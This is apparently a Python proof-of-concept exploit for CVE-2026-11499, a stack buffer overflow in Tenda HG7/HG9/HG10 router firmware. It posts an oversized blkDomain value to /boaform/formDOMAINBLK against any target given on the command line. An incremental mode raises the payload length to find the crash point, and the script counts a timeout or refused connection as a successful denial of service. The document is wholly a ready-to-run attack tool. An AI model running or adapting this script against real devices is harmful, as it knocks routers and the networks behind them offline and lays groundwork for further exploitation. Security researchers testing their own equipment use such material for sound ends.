#!/usr/bin/env python3
"""
CVE-2026-11499 - Tenda HG7/HG9/HG10 Stack-based Buffer Overflow PoC
Target: /boaform/formDOMAINBLK via blkDomain parameter
Tested on firmware: HG7_HG9_HG10re_300001138_en_xpon (and similar)
Author: Ashraf Zaryouh "0xBlackash"
"""

import requests
import sys
import time
import argparse
from urllib3.exceptions import InsecureRequestWarning

# Suppress insecure HTTPS warnings (most Tenda routers use HTTP)
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def send_payload(target_url, payload_length=300, timeout=8):
    # Generate payload - 'A' for simple crash, or use cyclic pattern for offset finding
    payload = "A" * payload_length
    
    data = {
        "blkDomain": payload,
        # Common additional fields observed in Tenda form handlers
        "submit-url": "/domainblk.asp",
        "page": "domainblk"
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Referer": f"{target_url}/domainblk.asp"
    }
    
    print(f"[+] Sending payload of length {payload_length} to {target_url}/boaform/formDOMAINBLK")
    
    try:
        response = requests.post(
            f"{target_url}/boaform/formDOMAINBLK",
            data=data,
            headers=headers,
            timeout=timeout,
            verify=False,
            allow_redirects=False
        )
        print(f"[+] HTTP Status: {response.status_code}")
        return True
    except requests.exceptions.Timeout:
        print("[!] Router timed out → Likely crashed (DoS successful)")
        return True
    except requests.exceptions.ConnectionError:
        print("[!] Connection refused / Router down → Crash successful!")
        return True
    except Exception as e:
        print(f"[-] Error: {e}")
        return False


def main():
    parser = argparse.ArgumentParser(description="CVE-2026-11499 PoC")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g. http://192.168.0.1)")
    parser.add_argument("-l", "--length", type=int, default=400, help="Payload length (default: 400)")
    parser.add_argument("--increment", action="store_true", help="Incrementally increase payload size to find crash point")
    args = parser.parse_args()

    target = args.target.rstrip("/")
    
    print("="*60)
    print("CVE-2026-11499 Tenda HG7/HG9/HG10 formDOMAINBLK PoC")
    print("="*60)
    print(f"Target: {target}")
    print()

    if args.increment:
        print("[*] Incremental mode - finding approximate crash offset...")
        for length in range(100, 1000, 50):
            print(f"\n--- Testing length: {length} ---")
            send_payload(target, length)
            time.sleep(2)  # Give router time to potentially recover
    else:
        send_payload(target, args.length)

    print("\n[+] PoC finished. Check if the router's web interface is unresponsive.")


if __name__ == "__main__":
    main()